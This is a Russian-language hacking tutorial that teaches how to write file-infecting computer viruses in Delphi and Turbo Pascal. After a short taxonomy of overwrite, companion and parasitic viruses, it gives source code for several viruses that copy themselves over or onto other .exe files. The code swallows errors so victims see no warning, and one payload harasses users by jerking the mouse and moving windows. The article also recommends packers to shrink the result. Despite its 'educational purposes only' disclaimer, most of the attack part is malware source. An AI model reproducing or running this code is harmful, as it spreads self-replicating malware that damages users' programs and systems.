Можно ли на delphi написать вирус
ВНИМАНИЕ: вся информация дана исключительно в образовательных целях
Большинство пользователей и даже некоторые программисты считают, что все вирусы пишутся в основном на ассемблере, иногда на Си, а на других языках даже помыслы об ЭТОМ считаются греховными. Это, разумеется, бред (бред- ложное умозаключение, возникающее на фоне болезни, не поддается логической коррекции). На самом деле вирусы можно писать на чем угодно- прологе, коболе, васике а также на стенах в сортире- были бы руки прямые. Мы будем писать на Дельфи. Итак, понятие о вирусе. Прежде всего, вирус- это программа. Точное определение этому волшебному явлению еще не придумал даже Лозинский, однко общие функции вируса таковы- саморазмножение, заражение программ, выполнения других задач, заложенных в него автором- Format C:, звуковые эффекты и пр. Разные вирусы отличаются друг от друга способами заражения и распространения, а также размером. Здесь я не буду приводить классификацию всех вирусов, а коснусь только близких нам- высокоуровневых.
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.о. программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и “заражает” дальше.
HLLC- High Level Language Companion. Большинство таких вирусов относятся к седой древности (6-7 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC- более современная: Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.о., пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди. Первым стартует вирус, затем он восстанавливает программу и запускает ее. С написанием таких вирусов под Win связана проблема- Windows запрещает доступ к запущенному файлу- т.е. мы не можем читать “из себя”.
Ну с классификацией я закончил, теперь прочитай свод базовых знаний (типа, курс лекций), и можно приступать к осваиванию исходника. Итак, что же нам нужно знать: Работа с файлами- вирус довольно активно с ними общается:
- Связь с файлом:
- Открытие файла для чтения:
- Чтение инфы из файла в буфер: Здесь buf- массивчик, напр. Count- сколько байтов ты хочешь прочесть
AmtTransfered- сколько реально прочитано. - Запись из буфера в файл:
Почти то же, что и предыдущее.
F- переменная типа TsearchRec, в нее дельфи запихивает все хар-ки найденного файла. Sr.Name- имя найденного файла
Sr.Size- его размер.
Чтобы искать следующий такой же файл, пиши FindNext (Sr); Если файл найден, то процедуры FindFirst и FindNext возвращают 0 (зеро). Подсказываю: можешь в своем вирусе создать интересный циклик:
Итак, если ты дочитал досюда- ставлю ящик пива, лично я бы давно уже завязал J. Открывай теперь исходник, там все подробно откомментировано, а здесь я поясню только общие принципы.
Это извращение- вирус типа HLLC, весьма простой- вообще и для понимания в частности. Алгоритм его таков: при заражении вирус исходный файл переименовывает в нечто случайное и помещает в каталог c:\windows\ или где там винды (это в боевой версии, в моем исходнике вся возня происходит в директории c:\INF\). Своим телом вирь замещает оригинальный файл, причем если оригинал больше виря менее, чем вдвое, вирь добавляет к себе кусочек себя же J, чтобы не отличится по размеру от оригинала. В каталоге с виндами создается также занимательный файл- filelist.ini, в котором вирь фиксирует зависимость между оригинальным и случайным именами файла (т.е. при запуске вирь получает имя своего файла, допустим winword.exe, смотрит в каталог и видит там: winword.exe= 34258352.340., затем переименовывает этот цифирный файл в свой каталог, но с именем winword.exe(впереди- пробел или символ “_”), и запускает этот “левый” файл. После завершения работы левого файла управление получает вирь, ища и заражая файлы). При первом старт С алгоритмом заражения и старта вроде, все. Кстати, для чтения и записи в файл я использовал такую могучую вещь, как TfileStream. Что это такое и с чем кушать- посмотри в хелпе, хотя по исходнику это и так понятно. Чтобы гонять вирь на своем компе, и не опасаться злых духов надо создать каталог c:\INF, и все действия проводить там- как видно из исходника, вирь только там и может работать- что поделаешь, небоевая версия…
Вирь после компиляции будет весить поболее 200 Кб (царский размер!), поэтому напрягись и сожми его NeoLite’ом- хороший пакер для EXE и DLL файлов, с дельфийских прог сносит
На этом теоретическая часть статьи заканчивается, остаётся только отдать исходник. Исходник я не дам качать просто так, потому что я не поддерживаю тех, кто пишет вирусы. Но только для обучения я привожу его как текст к статье. Предупреждаю, что я сделал тут несколько незначительных ошибок, чтобы начинающие программисты не навредили себе и другим. Если ты обладаешь хотя бы начальными знаниями в Delphi, то ты исправишь эти ошибки без проблем. И надеюсь, что не будешь использовать знания в разрушительных целях, а наоборот воспользуешься ими для защиты себя и окружающих. Помни, что ты не станешь лучше если уничтожишь компьютер соседа.
Т.о. вирус состоит из четырёх частей:
- Процедура заражения.
- Процедура поиска жертв.
- Функция проверки зараженности
- Функция запуска жертвы
. Процедура заражения файла идентична, HLLO, принципиальная разница кроется в том, что процедура поиска жертв не скармливает этой, опасной для файлов процедуре, файлы, а лишь дает путь самокопирования с определённым именем. В общем я привожу оба исходника вирусов, с комментариями, думаю, у вас не возникнет проблем с их пониманием. Вирусы, заражают, по второму, по описанию методу, т.к. первый метод, больше актуален для DOS.
На Turbo Pascal:
Теперь, то же самое только на Delphi.
program hllc;
uses
sysutils,
windows;
const
VirSize = 43008;///Размер вируса
Procedure Infect(path:string);
var
FromF : file;
ToF: file;
NumRead : integer;
Buf: array[1..VirSize] of Char; //Буфер
FM:word; //Переменная для сохранения FileMode
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе
Reset(FromF, 1);//Открываем себя
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
CloseFile(FromF);//Закрываем себя
FileMode:=2;//Режим работы с файлом - только запись
AssignFile(ToF, path);//Ассоциируем с путём к файлу
Rewrite(ToF, 1);//Открытие с перезаписью
BlockWrite(ToF, Buf, NumRead);//Пишем буфер
CloseFile(ToF); //Закрываем жертву
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;
Как видите размер у вируса весьма большой, сейчас мы попробуем написать HLLC вирус на micro-Delphi, о котором я говорил в предыдущем уроке. Вот исходник, вируса HLLC который после упаковки fsg2 весит 1525 байт, что в 28 раз меньше чем без применения методик сжатия.
Program VirusHLLC;//Пример HllC вируса на Delphi (xakep.su)
const //Необходимы константы, перенесены из модуля Windows
VirSize = 4096;//Размер вируса При упаковке fsg2 размер составит 1525 байт
FILE_ATTRIBUTE_NORMAL = $00000080;
SHELL32 = 'shell32.dll';
FILE_SHARE_WRITE = $00000002;//Атрибут записи
FILE_ATTRIBUTE_READ = $00000001;//Атрибут чтения
KERNEL32 = 'kernel32.dll';
MAX_PATH = 260;//Максимальная длина пути
CREATE_ALWAYS = 2;//Открыть новый
GENERIC_READ = $80000000;
GENERIC_WRITE = $40000000;
OPEN_EXISTING = 3;
TRUNCATE_EXISTING = 5;//Открытие с перезаписью
ATTR_DIR = $00000010;//Атрибут директории
FILE_SHARE_READ = $00000001;//Чтение из файла
type //Типы необходимые функции CreateFile, перенесены из модуля Windows
POverlapped = ^TOverlapped;
TOverlapped = record
Internal: Cardinal;
InternalHigh: Cardinal;
Offset: Cardinal;
OffsetHigh: Cardinal;
hEvent: Cardinal;
end;
PSecurityAttributes = ^TSecurityAttributes;
TSecurityAttributes = record
nLength: Cardinal;
lpSecurityDescriptor: Pointer;
bInheritHandle: Boolean;
end;
PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу
TFileTime = record //Запись передачи даты и времени
dwLowDateTime: INTEGER;
dwHighDateTime: INTEGER;
end;
FindRec = record
//Запись в которую возврящаются параметры поиска файлов
dwFileAttributes: INTEGER; //Атрибуты
ftCreationTime: TFileTime; //Время создания
ftLastAccessTime: TFileTime;//Время последнего обращения
ftLastWriteTime: TFileTime; //Время последнего изменения
nFileSizeHigh: INTEGER; //Размер реальный
nFileSizeLow: INTEGER; //Размер на диске
dwReserved0: INTEGER; //Резерв
dwReserved1: INTEGER; //Резерв
cFileName: PathBuf; //Полное имя файла
cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3
end;
function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external KERNEL32 name 'CreateFileA';
//Создает или открывает файлы (объекты) и возвращает Хендл (handle), для получения доступа к объекту
function ReadFile(hFile: INTEGER; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped: POverlapped): BOOLEAN; stdcall; external KERNEL32 name 'ReadFile';
//Чтение из файла (объекта)
function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped: POverlapped): Boolean; stdcall; external KERNEL32 name 'WriteFile';
//Запись из файл (объекта)
function CloseHandle(hObject: INTEGER): Boolean; stdcall; external KERNEL32 name 'CloseHandle';
//Закрытие файла (объекта)
function GetModuleFileName(hModule: INTEGER; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
//Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): integer; stdcall; external kernel32 name 'FindFirstFileA';
//Поиск первого файла в указанном каталоге по маске
function FindNextFile(hFindFile: integer; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';
//Поиск следующего файла в сессии начатой FindNextFile
function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA';
//Сравнение переменных
function lstrlen(lpString: PChar): Integer; stdcall; external kernel32 name 'lstrlenA';
//Определение дляны строки
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcpyA';
// Копиpует lpString2 (включая пустой символ) в lpString1.
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA';
//Сцепляет lpString1 с lpString2.
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec';
// Выполняет прикладную задачу, указанную паpаметpом CmdLine
function CopyFile(lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOLEAN): BOOLEAN; stdcall; external kernel32 name 'CopyFileA';
Procedure CopyData(ToF : PChar);
var
pch : PathBuf;
B : INTEGER;
F : INTEGER;
Buf : array [1..VirSize] of Char;
begin
GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе
F:=CreateFile(pch, GENERIC_READ, 1, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем себя
ReadFile(F, Buf, VirSize, B, nil);
//Читаем себя в буфер
CloseHandle(F);
//Закрываем себя
F := CreateFile(ToF, GENERIC_WRITE, CREATE_ALWAYS, nil, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем жертву с перезаписью
WriteFile(F, Buf, VirSize, B, nil);
//Пишем буфер в жертву
CloseHandle(F);
//Закрываем жертву
end;
function CheckMyName(path:pchar):boolean;
var
pch : PathBuf;
i : integer;
begin
result:=false;
GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе
for i:=lstrlen(pch) to 0 do if pch[i]='\' then break;
//Обределяем позицию последнего символа \ в строке пути к файлу
if lstrcmp(path,@pch[i+1])=0 then Result:=true;
//Сравниваем
end;
function FileExists(path:PChar):boolean;
var
i : integer;
begin
i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем существующий файл для чтения
if i=-1 //если -1 значит ошибка, значит файла не
then Result:=false
else Result:=true;//файл есть
end;
Вот и весь вирус.. Я думаю, что на этой статье обсуждение HLLO и HLLC вирусов, будет закрыто, далее мы будем писать и совершенствовать вирусы типа HLLP, они значительно интересней и гораздо трудней лечатся, имеют массу фишек и возможностей, о которых мы будем подробно беседовать на следующих уроках. Не забываем, о исключительно учебном применении, данного материала.
Итак, моя новая статья посвящена вирмэйкерству в особо извращенной форме. Посещая множество форумов и сайтов по сетевой безопасности и программированию, я столкнулся с мнением, что написать компактный и хоть сколько-нибудь опасный вирус на дельфи нельзя…
Что же, я развею этот миф, более того на глазах у изумленной публики создам виря размером
23.40 Кб, который будет полноценно размножаться и мешать работе системы.
Итак, наши инструменты:
- Борланд Дельфи 7.0 Enterprise Edition
- UPX PE packer
- Прямые руки 🙂
1. Запускаем вирус.
2. Происходит проверка, на запуск тела вируса или зараженной программы.
3. Если запущенно тело вируса, то переходим к заражению.
4. У нас запущена зараженная прога, ура! Распакуем прогу из хвоста файла, задав ей имя от балды и ждем когда юзверь закончит с ней работать.
5. Пока юзверь работает мешаем ему как можем.
6. Бедный пользователь ПК сдался, ему надоели глюки и он закрыл прогу, затираем созданный файл
(тот, который мы распаковали) и продолжаем инфицировать
своих соседей по каталогу.
7. Выходим из программы.
Вот собственно и все, что мой вирус может, а теперь реализация.
Для начала пишем скелет программы:
program zverofil;
uses sysutils,windows;
const virsize=23040;
var victims:tsearchrec;
f1,f2:file;
Вот с чего мы начинаем, к сожалению мне не удалось выкинуть Sysutils , иначе размер бы ужался до 13Кб.
Процедура заражения выглядит вот так:
procedure infect(victim:string);
var
a:integer;
Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;
Except`ы добавлены из соображения секретности, если вирус наткнется на файл, не дающий добро на запись, он тихо и мирно выйдет из процедуры. Иначе пользователя побеспокоит сообщение “File I/O Error” , а нам это ни к чему.
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
if filesize(f1)>virsize then go;
closefile(f1);
filemode :=2;
Filemode временно переводит программу в ReadOnly, иначе она не даст нам посчитать размер файла и выдаст ошибку.
Поиск и заражение жертв реализуется так:
if FindFirst('*.exe', Faanyfile, victims) = 0 then
repeat
if not ((victims.Name)=extractfilename(paramstr(0))) then begin
if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);
end;
until FindNext(victims)<>0 ;
Ну и код выполнения самой зараженной проги будет таким:
procedure go;
label 10;
var
Buf: array[1..virsize] of byte;
rect:trect;
nr,nw:longint;
begin
////
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
filemode :=2;
assignfile(f2,paramstr(0)+'.exe');
rewrite(f2,1);
seek(f1,virsize);
seek(f2,0) ;
repeat
filemode :=0;
BlockRead(f1, Buf,virsize, NR);
filemode :=2;
BlockWrite(f2, Buf, NR, NW);
until (NR = 0) or (NW <> NR) ;
closefile(f1);
closefile(f2);
winexec(pchar(paramstr(0)+ '.exe'), SW_show);
10:
if not deletefile(pchar(paramstr(0)+'.exe')) then begin ;
setcursorpos(random(800),Random(600));
getwindowrect(GetForeGroundWindow,rect);
setwindowpos(GetForeGroundWindow, HWND_TOPMOST,rect.left+1,rect.top+1,
rect.left+45,rect.left+45, SWP_NOSENDCHANGING );
setwindowtext(GetForeGroundWindow, 'Antiviruses SUXX! (c)Zerofill');
sleep(400);
goto 10;
end;
Прошу обратить внимание на последнюю секцию – глумление над пользователем, который работает с зараженной прогой.
Мы просто берем и дергаем мышку, а окно самой нужной программы уезжает влево и вниз. Для извращенцев – можете поменять параметр sleep;
Подписывайся на YouTube канал о программировании, что бы не пропустить новые видео!
|